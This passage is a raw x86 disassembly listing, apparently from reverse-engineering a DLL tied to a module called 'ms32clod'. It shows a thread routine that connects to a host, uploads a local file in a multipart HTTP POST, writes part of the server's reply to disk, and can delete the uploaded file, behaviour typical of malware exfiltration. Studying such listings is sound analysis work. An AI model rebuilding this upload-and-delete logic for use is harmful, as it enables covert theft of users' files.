		push	ecx		; Src
		mov	edx, [ebp+lpBuffer]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+Src]
		sub	eax, [ebp+Str]
		mov	ecx, [ebp+Size]
		sub	ecx, eax
		mov	[ebp+var_40], ecx
		jmp	short loc_10006339
; ---------------------------------------------------------------------------


loc_100062FE:				; CODE XREF: sub_10005E66+3B8j
		cmp	[ebp+lpBuffer],	0
		jnz	short loc_10006310
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006501
; ---------------------------------------------------------------------------


loc_10006310:				; CODE XREF: sub_10005E66+49Cj
		mov	edx, [ebp+Size]
		push	edx		; Size
		mov	eax, [ebp+Str]
		push	eax		; Src
		mov	ecx, [ebp+lpBuffer]
		add	ecx, [ebp+var_40]
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_40]
		add	edx, [ebp+Size]
		mov	[ebp+var_40], edx


loc_10006339:				; CODE XREF: sub_10005E66+496j
		mov	eax, [ebp+arg_10]
		imul	eax, 0F4240h
		mov	[ebp+timeout.tv_usec], eax
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		test	eax, eax
		jz	short loc_10006383
		push	0		; flags
		push	2800h		; len
		mov	eax, [ebp+Str]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+Size], eax
		jmp	short loc_10006385
; ---------------------------------------------------------------------------


loc_10006383:				; CODE XREF: sub_10005E66+4F8j
		jmp	short loc_1000638A
; ---------------------------------------------------------------------------


loc_10006385:				; CODE XREF: sub_10005E66+51Bj
		jmp	loc_100061E5
; ---------------------------------------------------------------------------


loc_1000638A:				; CODE XREF: sub_10005E66+386j
					; sub_10005E66:loc_10006383j
		cmp	[ebp+lpFileName], 0
		jz	loc_10006415
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		mov	edx, [ebp+lpFileName]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+var_2F0], 0
		jnz	short loc_100063D3
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		mov	ecx, [ebp+nNumberOfBytesToWrite]
		push	ecx		; nNumberOfBytesToWrite
		mov	edx, [ebp+lpBuffer]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		jmp	short loc_1000640B
; ---------------------------------------------------------------------------


loc_100063D3:				; CODE XREF: sub_10005E66+551j
		mov	[ebp+var_50], 0


loc_100063DA:				; CODE XREF: sub_10005E66+5A3j
		mov	ecx, [ebp+lpBuffer]
		add	ecx, [ebp+var_50]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_1000640B
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	1		; nNumberOfBytesToWrite
		mov	ecx, [ebp+lpBuffer]
		add	ecx, [ebp+var_50]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:WriteFile	; WriteFile
		mov	eax, [ebp+var_50]
		add	eax, 1
		mov	[ebp+var_50], eax
		jmp	short loc_100063DA
; ---------------------------------------------------------------------------


loc_1000640B:				; CODE XREF: sub_10005E66+56Bj
					; sub_10005E66+57Fj
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_10006415:				; CODE XREF: sub_10005E66+528j
		jmp	short loc_10006423
; ---------------------------------------------------------------------------


loc_10006417:				; CODE XREF: sub_10005E66+342j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006501
; ---------------------------------------------------------------------------


loc_10006423:				; CODE XREF: sub_10005E66:loc_10006415j
		jmp	short loc_10006490
; ---------------------------------------------------------------------------


loc_10006425:				; DATA XREF: .rdata:stru_1001FDF0o
		cmp	[ebp+s], 0
		jz	short loc_1000643B
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket


loc_1000643B:				; CODE XREF: sub_10005E66+5C6j
		mov	eax, [ebp+Memory]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+Str]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+name]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+lpString1]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+var_308], 0
		mov	eax, offset loc_10006485
		retn
; ---------------------------------------------------------------------------


loc_10006485:				; DATA XREF: sub_10005E66+619o
		mov	eax, [ebp+var_308]
		jmp	loc_10006536
; ---------------------------------------------------------------------------


loc_10006490:				; CODE XREF: sub_10005E66:loc_10006423j
		mov	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+s], 0
		jz	short loc_100064AD
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket


loc_100064AD:				; CODE XREF: sub_10005E66+638j
		mov	edx, [ebp+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+Str]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+name]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+lpString1]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+nNumberOfBytesToWrite]
		cmp	eax, [ebp+var_40]
		jz	short loc_100064F8
		cmp	[ebp+var_2F0], 0
		jz	short loc_100064FD


loc_100064F8:				; CODE XREF: sub_10005E66+687j
		mov	eax, [ebp+lpBuffer]
		jmp	short loc_10006536
; ---------------------------------------------------------------------------


loc_100064FD:				; CODE XREF: sub_10005E66+690j
		xor	eax, eax
		jmp	short loc_10006536
; ---------------------------------------------------------------------------


loc_10006501:				; CODE XREF: sub_10005E66+17Dj
					; sub_10005E66+1F3j ...
		cmp	[ebp+s], 0
		jz	short loc_10006517
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket


loc_10006517:				; CODE XREF: sub_10005E66+6A2j
		mov	edx, [ebp+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+Str]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		xor	eax, eax


loc_10006536:				; CODE XREF: sub_10005E66+625j
					; sub_10005E66+695j ...
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10005E66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall StartAddress(LPVOID)

StartAddress	proc near		; CODE XREF: sub_10009FE2+327p
					; sub_1000B7EF+E4Bp ...

var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
FileName	= byte ptr -520h
var_51F		= byte ptr -51Fh
NumberOfBytesWritten= dword ptr	-420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
s		= dword	ptr -414h
hostshort	= word ptr -410h
var_40C		= dword	ptr -40Ch
name		= byte ptr -408h
var_407		= byte ptr -407h
Source		= dword	ptr -3C8h
var_3C4		= dword	ptr -3C4h
Dst		= dword	ptr -3C0h
readfds		= fd_set ptr -3BCh
type		= dword	ptr -2B8h
WSAData		= WSAData ptr -2B4h
var_124		= dword	ptr -124h
timeout		= timeval ptr -120h
var_118		= dword	ptr -118h
Dest		= byte ptr -114h
var_113		= byte ptr -113h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
hObject		= dword	ptr -8Ch
var_88		= byte ptr -88h
var_87		= byte ptr -87h
var_48		= dword	ptr -48h
len		= dword	ptr -44h
Memory		= dword	ptr -40h
buf		= dword	ptr -3Ch
var_38		= dword	ptr -38h
Str		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
lpFileName	= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10006547
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 518h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+Source], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+100h]
		mov	[ebp+Memory], edx
		mov	eax, [ebp+arg_0]
		add	eax, 108h
		mov	[ebp+lpFileName], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 207h
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+308h]
		mov	[ebp+var_48], eax
		mov	[ebp+hostshort], 50h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+104h]
		mov	[ebp+var_40C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30Ch]
		mov	[ebp+var_418], ecx
		mov	[ebp+s], 0
		mov	[ebp+name], 0
		mov	ecx, 0Fh
		xor	eax, eax
		lea	edi, [ebp+var_407]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_88], 0
		mov	ecx, 0Fh
		xor	eax, eax
		lea	edi, [ebp+var_87]
		rep stosd
		stosw
		stosb
		mov	[ebp+Dest], 0
		mov	ecx, 1Fh
		xor	eax, eax
		lea	edi, [ebp+var_113]
		rep stosd
		stosw
		stosb
		push	0		; Time
		call	ds:time	; time
		add	esp, 4
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		mov	[ebp+var_124], 0
		jmp	short loc_10006650
; ---------------------------------------------------------------------------


loc_10006641:				; CODE XREF: StartAddress+144j
		mov	edx, [ebp+var_124]
		add	edx, 1
		mov	[ebp+var_124], edx


loc_10006650:				; CODE XREF: StartAddress+F8j
		cmp	[ebp+var_124], 5
		jge	short loc_1000668D
		push	200h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_124]
		mov	[ebp+ecx*4+buf], eax
		push	200h		; Size
		push	0		; Val
		mov	edx, [ebp+var_124]
		mov	eax, [ebp+edx*4+buf]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		jmp	short loc_10006641
; ---------------------------------------------------------------------------


loc_1000668D:				; CODE XREF: StartAddress+110j
		push	2800h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dst], eax
		push	2800h		; Size
		push	0		; Val
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0Dh		; int
		mov	edx, off_10022114
		push	edx		; int
		lea	eax, [ebp+var_88]
		push	eax		; Dst
		call	sub_1000274A
		add	esp, 0Ch
		lea	ecx, [ebp+var_88]
		push	ecx
		push	offset aS	; "---------------------------%s"
		lea	edx, [ebp+Dest]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		mov	eax, [ebp+Source]
		push	eax		; Source
		lea	ecx, [ebp+name]
		push	ecx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		push	2Fh		; Val
		lea	edx, [ebp+name]
		push	edx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000674E
		push	2Fh		; Val
		lea	eax, [ebp+name]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0
		push	2Fh		; Val
		mov	ecx, [ebp+Source]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		push	eax		; Source
		lea	edx, [ebp+var_88]
		push	edx		; Dest
		call	strcpy	; strcpy
		add	esp, 8


loc_1000674E:				; CODE XREF: StartAddress+1CEj
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	ds:WSAStartup	; WSAStartup
		mov	[ebp+type], 1
		mov	[ebp+readfds.fd_count],	0
		mov	[ebp+timeout.tv_sec], 0
		mov	[ebp+timeout.tv_usec], 3938700h
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+name]
		push	ecx		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_90], eax
		cmp	[ebp+var_90], 0
		jnz	short loc_100067B7
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_100067B7:				; CODE XREF: StartAddress+262j
		push	10h		; Size
		push	0		; Val
		lea	edx, [ebp+var_24]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_90]
		movsx	ecx, word ptr [eax+0Ah]
		push	ecx		; Size
		mov	edx, [ebp+var_90]
		mov	eax, [edx+0Ch]
		mov	ecx, [eax]
		push	ecx		; Src
		lea	edx, [ebp+var_20]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_90]
		mov	cx, [eax+8]
		mov	[ebp+var_24], cx
		mov	dx, [ebp+hostshort]
		push	edx		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_22], ax
		push	0		; protocol
		mov	eax, [ebp+type]
		push	eax		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0
		jnb	short loc_10006836
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006836:				; CODE XREF: StartAddress+2E1j
					; StartAddress+36Ej
		mov	[ebp+var_41C], 0
		jmp	short loc_10006851
; ---------------------------------------------------------------------------


loc_10006842:				; CODE XREF: StartAddress:loc_10006876j
		mov	ecx, [ebp+var_41C]
		add	ecx, 1
		mov	[ebp+var_41C], ecx


loc_10006851:				; CODE XREF: StartAddress+2F9j
		mov	edx, [ebp+var_41C]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_10006878
		mov	eax, [ebp+var_41C]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_10006876
		jmp	short loc_10006878
; ---------------------------------------------------------------------------


loc_10006876:				; CODE XREF: StartAddress+32Bj
		jmp	short loc_10006842
; ---------------------------------------------------------------------------


loc_10006878:				; CODE XREF: StartAddress+316j
					; StartAddress+32Dj
		mov	edx, [ebp+var_41C]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_100068B1
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100068B1
		mov	eax, [ebp+var_41C]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_100068B1:				; CODE XREF: StartAddress+33Dj
					; StartAddress+346j
		xor	eax, eax
		test	eax, eax
		jnz	loc_10006836
		push	10h		; namelen
		lea	ecx, [ebp+var_24]
		push	ecx		; name
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_100068DF
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_100068DF:				; CODE XREF: StartAddress+38Aj
		mov	eax, [ebp+var_28]
		push	eax
		lea	ecx, [ebp+Dest]
		push	ecx
		push	offset aSContentDispos ; "--%s\r\nContent-Disposition: form-data; n"...
		mov	edx, [ebp+var_38]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		push	offset aS_0	; "\r\n--%s--\r\n"
		mov	ecx, [ebp+Str]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	esi, eax
		mov	eax, [ebp+var_38]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		add	eax, esi
		mov	[ebp+var_94], eax
		cmp	[ebp+Memory], 0
		jnz	short loc_10006998
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	7		; dwShareMode
		push	80000000h	; dwDesiredAccess
		mov	ecx, [ebp+lpFileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	short loc_10006984
		push	0		; lpFileSizeHigh
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:GetFileSize	; GetFileSize
		mov	ecx, [ebp+var_94]
		add	ecx, eax
		mov	[ebp+var_94], ecx
		jmp	short loc_10006996
; ---------------------------------------------------------------------------


loc_10006984:				; CODE XREF: StartAddress+41Cj
		mov	edx, [ebp+var_94]
		add	edx, [ebp+var_40C]
		mov	[ebp+var_94], edx


loc_10006996:				; CODE XREF: StartAddress+43Bj
		jmp	short loc_100069AA
; ---------------------------------------------------------------------------


loc_10006998:				; CODE XREF: StartAddress+3F4j
		mov	eax, [ebp+var_94]
		add	eax, [ebp+var_40C]
		mov	[ebp+var_94], eax


loc_100069AA:				; CODE XREF: StartAddress:loc_10006996j
		mov	ecx, [ebp+var_94]
		push	ecx
		lea	edx, [ebp+name]
		push	edx
		lea	eax, [ebp+Dest]
		push	eax
		lea	ecx, [ebp+var_88]
		push	ecx
		push	offset aPostSHttp1_1Ac ; "POST %s HTTP/1.1\r\nAccept: */*\r\nContent-"...
		mov	edx, [ebp+buf]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 18h
		push	0		; flags
		mov	eax, [ebp+buf]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		mov	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0FFFFFFFFh
		jz	short loc_10006A10
		cmp	[ebp+var_3C4], 0
		jnz	short loc_10006A1C


loc_10006A10:				; CODE XREF: StartAddress+4BEj
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006A1C:				; CODE XREF: StartAddress+4C7j
		push	0		; flags
		mov	eax, [ebp+var_38]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		mov	ecx, [ebp+var_38]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0FFFFFFFFh
		jz	short loc_10006A54
		cmp	[ebp+var_3C4], 0
		jnz	short loc_10006A60


loc_10006A54:				; CODE XREF: StartAddress+502j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006A60:				; CODE XREF: StartAddress+50Bj
		cmp	[ebp+Memory], 0
		jnz	loc_10006AF8
		cmp	[ebp+hObject], 0FFFFFFFFh
		jz	loc_10006AF8
		mov	[ebp+len], 1


loc_10006A7E:				; CODE XREF: StartAddress:loc_10006AE7j
		cmp	[ebp+len], 0
		jz	short loc_10006AE9
		push	0		; lpOverlapped
		lea	eax, [ebp+len]
		push	eax		; lpNumberOfBytesRead
		push	2800h		; nNumberOfBytesToRead
		mov	ecx, [ebp+Dst]
		push	ecx		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:ReadFile	; ReadFile
		cmp	[ebp+len], 0
		jbe	short loc_10006AE7
		push	0		; flags
		mov	eax, [ebp+len]
		push	eax		; len
		mov	ecx, [ebp+Dst]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0FFFFFFFFh
		jz	short loc_10006ADB
		cmp	[ebp+var_3C4], 0
		jnz	short loc_10006AE7


loc_10006ADB:				; CODE XREF: StartAddress+589j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006AE7:				; CODE XREF: StartAddress+560j
					; StartAddress+592j
		jmp	short loc_10006A7E
; ---------------------------------------------------------------------------


loc_10006AE9:				; CODE XREF: StartAddress+53Bj
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		jmp	short loc_10006B5C
; ---------------------------------------------------------------------------


loc_10006AF8:				; CODE XREF: StartAddress+51Dj
					; StartAddress+52Aj
		mov	[ebp+len], 0


loc_10006AFF:				; CODE XREF: StartAddress:loc_10006B5Aj
		mov	ecx, [ebp+len]
		cmp	ecx, [ebp+var_40C]
		jnb	short loc_10006B5C
		push	0		; flags
		mov	edx, [ebp+var_40C]
		sub	edx, [ebp+len]
		push	edx		; len
		mov	eax, [ebp+Memory]
		add	eax, [ebp+len]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		mov	[ebp+var_3C4], eax
		mov	edx, [ebp+len]
		add	edx, [ebp+var_3C4]
		mov	[ebp+len], edx
		cmp	[ebp+var_3C4], 0FFFFFFFFh
		jz	short loc_10006B4E
		cmp	[ebp+var_3C4], 0
		jnz	short loc_10006B5A


loc_10006B4E:				; CODE XREF: StartAddress+5FCj
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006B5A:				; CODE XREF: StartAddress+605j
		jmp	short loc_10006AFF
; ---------------------------------------------------------------------------


loc_10006B5C:				; CODE XREF: StartAddress+5AFj
					; StartAddress+5C1j
		push	0		; flags
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		mov	ecx, [ebp+Str]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0FFFFFFFFh
		jz	short loc_10006B94
		cmp	[ebp+var_3C4], 0
		jnz	short loc_10006BA0


loc_10006B94:				; CODE XREF: StartAddress+642j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006BA0:				; CODE XREF: StartAddress+64Bj
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		test	eax, eax
		jz	loc_10006D95
		push	2800h		; Size
		push	0		; Val
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0		; flags
		push	2800h		; len
		mov	eax, [ebp+Dst]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0FFFFFFFFh
		jz	short loc_10006C0B
		cmp	[ebp+var_3C4], 0
		jnz	short loc_10006C17


loc_10006C0B:				; CODE XREF: StartAddress+6B9j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006C17:				; CODE XREF: StartAddress+6C2j
		push	offset asc_10022BF8 ; "\r\n\r\n"
		mov	edx, [ebp+Dst]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_10006D87
		push	7Ch		; Val
		mov	eax, [ebp+Dst]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	loc_10006D5D
		mov	[ebp+FileName],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_51F]
		rep stosd
		stosw
		push	0FFh		; nSize
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFilename
		push	offset aMs32clod_4 ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	eax		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		push	5Ch		; Ch
		lea	edx, [ebp+FileName]
		push	edx		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		mov	byte ptr [eax+1], 0
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022068
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		mov	edx, [ebp+var_528]
		push	edx		; Source
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 8
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesWritten
		push	7Ch		; Val
		mov	eax, [ebp+Dst]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		add	eax, 1
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		push	eax		; nNumberOfBytesToWrite
		push	7Ch		; Val
		mov	ecx, [ebp+Dst]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		add	eax, 1
		push	eax		; lpBuffer
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:WriteFile	; WriteFile
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		push	7Ch		; Val
		mov	ecx, [ebp+Dst]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0


loc_10006D5D:				; CODE XREF: StartAddress+701j
		push	offset asc_10022C0C ; "\r\n\r\n"
		mov	edx, [ebp+Dst]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		add	eax, 4
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_118], eax
		jmp	short loc_10006D93
; ---------------------------------------------------------------------------


loc_10006D87:				; CODE XREF: StartAddress+6E7j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006D93:				; CODE XREF: StartAddress+83Ej
		jmp	short loc_10006DA1
; ---------------------------------------------------------------------------


loc_10006D95:				; CODE XREF: StartAddress+675j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_10006F1D
; ---------------------------------------------------------------------------


loc_10006DA1:				; CODE XREF: StartAddress:loc_10006D93j
		jmp	loc_10006E6A
; ---------------------------------------------------------------------------


loc_10006DA6:				; DATA XREF: .rdata:stru_1001FE48o
		cmp	[ebp+s], 0
		jz	short loc_10006DBC
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket


loc_10006DBC:				; CODE XREF: StartAddress+866j
		mov	[ebp+var_124], 0
		jmp	short loc_10006DD7
; ---------------------------------------------------------------------------


loc_10006DC8:				; CODE XREF: StartAddress+8ADj
		mov	ecx, [ebp+var_124]
		add	ecx, 1
		mov	[ebp+var_124], ecx


loc_10006DD7:				; CODE XREF: StartAddress+87Fj
		cmp	[ebp+var_124], 5
		jge	short loc_10006DF6
		mov	edx, [ebp+var_124]
		mov	eax, [ebp+edx*4+buf]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		jmp	short loc_10006DC8
; ---------------------------------------------------------------------------


loc_10006DF6:				; CODE XREF: StartAddress+897j
		cmp	[ebp+var_418], 1
		jnz	short loc_10006E09
		mov	ecx, [ebp+lpFileName]
		push	ecx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA


loc_10006E09:				; CODE XREF: StartAddress+8B6j
		cmp	[ebp+Memory], 0
		jz	short loc_10006E1C
		mov	edx, [ebp+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10006E1C:				; CODE XREF: StartAddress+8C6j
		mov	eax, [ebp+Dst]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+var_48]
		mov	dword_1004B770[edx*4], 0
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------
		mov	[ebp+var_524], 0
		mov	eax, offset loc_10006E5F
		retn
; ---------------------------------------------------------------------------


loc_10006E5F:				; DATA XREF: StartAddress+912o
		mov	eax, [ebp+var_524]
		jmp	loc_10006FC0
; ---------------------------------------------------------------------------


loc_10006E6A:				; CODE XREF: StartAddress:loc_10006DA1j
		mov	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+s], 0
		jz	short loc_10006E87
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket


loc_10006E87:				; CODE XREF: StartAddress+931j
		mov	[ebp+var_124], 0
		jmp	short loc_10006EA2
; ---------------------------------------------------------------------------


loc_10006E93:				; CODE XREF: StartAddress+978j
		mov	ecx, [ebp+var_124]
		add	ecx, 1
		mov	[ebp+var_124], ecx


loc_10006EA2:				; CODE XREF: StartAddress+94Aj
